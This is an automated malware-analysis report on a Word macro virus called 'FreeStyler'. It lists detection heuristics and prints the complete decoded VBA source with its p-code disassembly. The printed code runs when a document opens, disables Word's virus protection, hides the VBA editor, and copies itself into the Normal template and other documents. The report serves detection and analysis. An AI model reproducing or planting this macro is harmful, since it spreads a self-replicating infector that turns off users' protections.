MALICIOUS
328
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample contains VBA macros that execute automatically upon opening the document, as indicated by the 'Document_Open' subroutine and 'OLE_VBA_PCODE_AUTOEXEC_EXEC' heuristic. The macro utilizes 'WScript.Shell' to write to the registry, specifically setting 'HKEY_CURRENT_USER\Software\Microsoft\VBA\Office\EndProcLine' to '0'. This behavior is characteristic of malware attempting to establish persistence or prepare the system for further execution, likely involving the download of additional malicious content.
Heuristics 7
-
ClamAV: Doc.Trojan.Codefore-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Codefore-1
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
On Error Resume Next: Application.EnableCancelKey = 0: Application.ShowVisualBasicEditor = 0: Options.VirusProtection = 0: Options.SaveNormalPrompt = 0 System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\VBA\Office", "CodeBackColors") = "1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1": System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\VBA\Office", "CodeForeColors") = "1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1": Set WshShell = CreateObject("WScript.Shell"): WshShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\VBA\Office\EndProcLine", 0, "REG_DWORD" ActiveDocument.ReadOnlyRecommended = 0: Application.ScreenUpdating = 0: Document_New -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
On Error Resume Next: Application.EnableCancelKey = 0: Application.ShowVisualBasicEditor = 0: Options.VirusProtection = 0: Options.SaveNormalPrompt = 0 System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\VBA\Office", "CodeBackColors") = "1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1": System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\VBA\Office", "CodeForeColors") = "1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1": Set WshShell = CreateObject("WScript.Shell"): WshShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\VBA\Office\EndProcLine", 0, "REG_DWORD" ActiveDocument.ReadOnlyRecommended = 0: Application.ScreenUpdating = 0: Document_New -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Attribute VB_Customizable = True Private Sub Document_Open() On Error Resume Next: Application.EnableCancelKey = 0: Application.ShowVisualBasicEditor = 0: Options.VirusProtection = 0: Options.SaveNormalPrompt = 0 -
Reference to Windows Script Host high SC_STR_WSCRIPTReference to Windows Script Host
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 9899 bytes |
SHA-256: 9a75cbd4fa0a73b1306e9a21377e80574667b21c7cbf83b7fff1b22bc13c5c40 |
|||
|
Detection
ClamAV:
Win.Trojan.W-420
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "FreeStyler"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
On Error Resume Next: Application.EnableCancelKey = 0: Application.ShowVisualBasicEditor = 0: Options.VirusProtection = 0: Options.SaveNormalPrompt = 0
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\VBA\Office", "CodeBackColors") = "1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1": System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\VBA\Office", "CodeForeColors") = "1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1": Set WshShell = CreateObject("WScript.Shell"): WshShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\VBA\Office\EndProcLine", 0, "REG_DWORD"
ActiveDocument.ReadOnlyRecommended = 0: Application.ScreenUpdating = 0: Document_New
If ActiveDocument.ReadOnly = 1 Then: SetAttr ActiveDocument.FullName, 0: ActiveDocument.Reload
If NormalTemplate.VBProject.VBComponents.Item(1).Name = "FreeStyler" Then DOT = True
If ActiveDocument.VBProject.VBComponents.Item(1).Name = "FreeStyler" Then DOC = True
If DOT = True And DOC = True Then GoTo 1
If DOT = False Then VV = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, FreeStyler.VBProject.VBComponents.Item(1).CodeModule.CountOfLines): With NormalTemplate.VBProject.VBComponents.Item(1).CodeModule: .DeleteLines 1, .CountOfLines: .AddFromString VV: End With: NormalTemplate.VBProject.VBComponents.Item(1).Name = "FreeStyler"
If DOC = False Then CC = FreeStyler.VBProject.VBComponents.Item(1).CodeModule.Lines(1, FreeStyler.VBProject.VBComponents.Item(1).CodeModule.CountOfLines): With ActiveDocument.VBProject.VBComponents.Item(1).CodeModule: .DeleteLines 1, .CountOfLines: .AddFromString CC: End With: ActiveDocument.VBProject.VBComponents.Item(1).Name = "FreeStyler": Document_New
If ActiveDocument.FullName = wdOpenFormatDocument Then ActiveDocument.SaveAs ActiveDocument.FullName
1: ActiveDocument.Saved = True
'VOVAN//SMF
End Sub
Private Sub Document_New()
On Error Resume Next
Application.EnableCancelKey = 0: Application.ShowVisualBasicEditor = 0
B = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1): C = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.CountOfLines: xxx = Mid(B, 13): fff = Len(xxx) - 2: hhh = Left(xxx, fff): Number = MacroContainer.VBProject.VBComponents(1).CodeModule.ProcCountLines(hhh, vbext_pk_Proc): VV = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(1, Number): With MacroContainer.VBProject.VBComponents.Item(1).CodeModule: .DeleteLines 1, Number: .InsertLines C, VV: End With
End Sub
Private Sub Document_Close()
On Error Resume Next: If ActiveDocument.Name = ActiveDocument.FullName Then Document_New: End
If ActiveDocument.Saved = True Then Call Document_Open Else End
End Sub
' Processing file: /tmp/qstore_1b9wqcy4
' ===============================================================================
' Module streams:
' Macros/VBA/FreeStyler - 4434 bytes
' Line #0:
' FuncDefn (Private Sub Document_Open())
' Line #1:
' OnError (Resume Next)
' BoS 0x0000
' LitDI2 0x0000
' Ld Application
' MemSt EnableCancelKey
' BoS 0x0000
' LitDI2 0x0000
' Ld Application
' MemSt ShowVisualBasicEditor
' BoS 0x0000
' LitDI2 0x0000
' Ld Options
' MemSt VirusProtection
' BoS 0x0000
' LitDI2 0x0000
' Ld Options
' MemSt SaveNormalPrompt
' Line #2:
' LitStr 0x001F "1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1"
' LitStr 0x0000 ""
' LitStr 0x002F "HKEY_CURRENT_USER\Software\Microsoft\VBA\Office"
' LitStr 0x000E "CodeBackColors"
' Ld System
' ArgsMemSt PrivateProfileString 0x0003
' BoS 0x0000
' LitStr 0x0021 "1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1"
' LitStr 0x0000 ""
' LitStr 0x002F "HKEY_CURRENT_USER\Software\Microsoft\VBA\Office"
' LitStr 0x000E "CodeForeColors"
' Ld System
' ArgsMemSt PrivateProfileString 0x0003
' BoS 0x0000
' SetStmt
' LitStr 0x000D "WScript.Shell"
' ArgsLd CreateObject 0x0001
' Set WshShell
' BoS 0x0000
' LitStr 0x003B "HKEY_CURRENT_USER\Software\Microsoft\VBA\Office\EndProcLine"
' LitDI2 0x0000
' LitStr 0x0009 "REG_DWORD"
' Ld WshShell
' ArgsMemCall RegWrite 0x0003
' Line #3:
' LitDI2 0x0000
' Ld ActiveDocument
' MemSt ReadOnlyRecommended
' BoS 0x0000
' LitDI2 0x0000
' Ld Application
' MemSt ScreenUpdating
' BoS 0x0000
' ArgsCall Document_New 0x0000
' Line #4:
' Ld ActiveDocument
' MemLd ReadOnly
' LitDI2 0x0001
' Eq
' If
' BoS 0x0000
' Ld ActiveDocument
' MemLd FullName
' LitDI2 0x0000
' ArgsCall SetAttr 0x0002
' BoS 0x0000
' Ld ActiveDocument
' ArgsMemCall Reload 0x0000
' EndIf
' Line #5:
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd New
' LitStr 0x000A "FreeStyler"
' Eq
' If
' BoSImplicit
' LitVarSpecial (True)
' St DOT
' EndIf
' Line #6:
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd New
' LitStr 0x000A "FreeStyler"
' Eq
' If
' BoSImplicit
' LitVarSpecial (True)
' St DOC
' EndIf
' Line #7:
' Ld DOT
' LitVarSpecial (True)
' Eq
' Ld DOC
' LitVarSpecial (True)
' Eq
' And
' If
' BoSImplicit
' GoTo 1
' EndIf
' Line #8:
' Ld DOT
' LitVarSpecial (False)
' Eq
' If
' BoSImplicit
' LitDI2 0x0001
' LitDI2 0x0001
' Ld FreeStyler
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' MemLd CountOfLines
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' ArgsMemLd Lines 0x0002
' St VV
' BoS 0x0000
' StartWithExpr
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' With
' BoS 0x0000
' LitDI2 0x0001
' MemLdWith CountOfLines
' ArgsMemCallWith DeleteLines 0x0002
' BoS 0x0000
' Ld VV
' ArgsMemCallWith AddFromString 0x0001
' BoS 0x0000
' EndWith
' BoS 0x0000
' LitStr 0x000A "FreeStyler"
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemSt New
' EndIf
' Line #9:
' Ld DOC
' LitVarSpecial (False)
' Eq
' If
' BoSImplicit
' LitDI2 0x0001
' LitDI2 0x0001
' Ld FreeStyler
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' MemLd CountOfLines
' LitDI2 0x0001
' Ld FreeStyler
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' ArgsMemLd Lines 0x0002
' St CC
' BoS 0x0000
' StartWithExpr
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' With
' BoS 0x0000
' LitDI2 0x0001
' MemLdWith CountOfLines
' ArgsMemCallWith DeleteLines 0x0002
' BoS 0x0000
' Ld CC
' ArgsMemCallWith AddFromString 0x0001
' BoS 0x0000
' EndWith
' BoS 0x0000
' LitStr 0x000A "FreeStyler"
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemSt New
' BoS 0x0000
' ArgsCall Document_New 0x0000
' EndIf
' Line #10:
' Ld ActiveDocument
' MemLd FullName
' Ld wdOpenFormatDocument
' Eq
' If
' BoSImplicit
' Ld ActiveDocument
' MemLd FullName
' Ld ActiveDocument
' ArgsMemCall SaveAs 0x0001
' EndIf
' Line #11:
' LineNum 1
' BoS 0x0003
' LitVarSpecial (True)
' Ld ActiveDocument
' MemSt Saved
' Line #12:
' QuoteRem 0x0000 0x000A "VOVAN//SMF"
' Line #13:
' EndSub
' Line #14:
' FuncDefn (Private Sub Document_New())
' Line #15:
' OnError (Resume Next)
' Line #16:
' LitDI2 0x0000
' Ld Application
' MemSt EnableCancelKey
' BoS 0x0000
' LitDI2 0x0000
' Ld Application
' MemSt ShowVisualBasicEditor
' Line #17:
' LitDI2 0x0001
' LitDI2 0x0001
' LitDI2 0x0001
' Ld MacroContainer
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' ArgsMemLd Lines 0x0002
' St B
' BoS 0x0000
' LitDI2 0x0001
' Ld MacroContainer
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' MemLd CountOfLines
' St C
' BoS 0x0000
' Ld B
' LitDI2 0x000D
' ArgsLd Mid$ 0x0002
' St xxx
' BoS 0x0000
' Ld xxx
' FnLen
' LitDI2 0x0002
' Sub
' St fff
' BoS 0x0000
' Ld xxx
' Ld fff
' ArgsLd LBound 0x0002
' St hhh
' BoS 0x0000
' Ld hhh
' Ld vbext_pk_Proc
' LitDI2 0x0001
' Ld MacroContainer
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' MemLd CodeModule
' ArgsMemLd ProcCountLines 0x0002
' St Number
' BoS 0x0000
' LitDI2 0x0001
' Ld Number
' LitDI2 0x0001
' Ld MacroContainer
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' ArgsMemLd Lines 0x0002
' St VV
' BoS 0x0000
' StartWithExpr
' LitDI2 0x0001
' Ld MacroContainer
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' With
' BoS 0x0000
' LitDI2 0x0001
' Ld Number
' ArgsMemCallWith DeleteLines 0x0002
' BoS 0x0000
' Ld C
' Ld VV
' ArgsMemCallWith InsertLines 0x0002
' BoS 0x0000
' EndWith
' Line #18:
' EndSub
' Line #19:
' FuncDefn (Private Sub Document_Close())
' Line #20:
' OnError (Resume Next)
' BoS 0x0000
' Ld ActiveDocument
' MemLd New
' Ld ActiveDocument
' MemLd FullName
' Eq
' If
' BoSImplicit
' ArgsCall Document_New 0x0000
' BoS 0x0000
' End
' EndIf
' Line #21:
' Ld ActiveDocument
' MemLd Saved
' LitVarSpecial (True)
' Eq
' If
' BoSImplicit
' ArgsCall (Call) Document_Open 0x0000
' Else
' BoSImplicit
' End
' EndIf
' Line #22:
' EndSub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.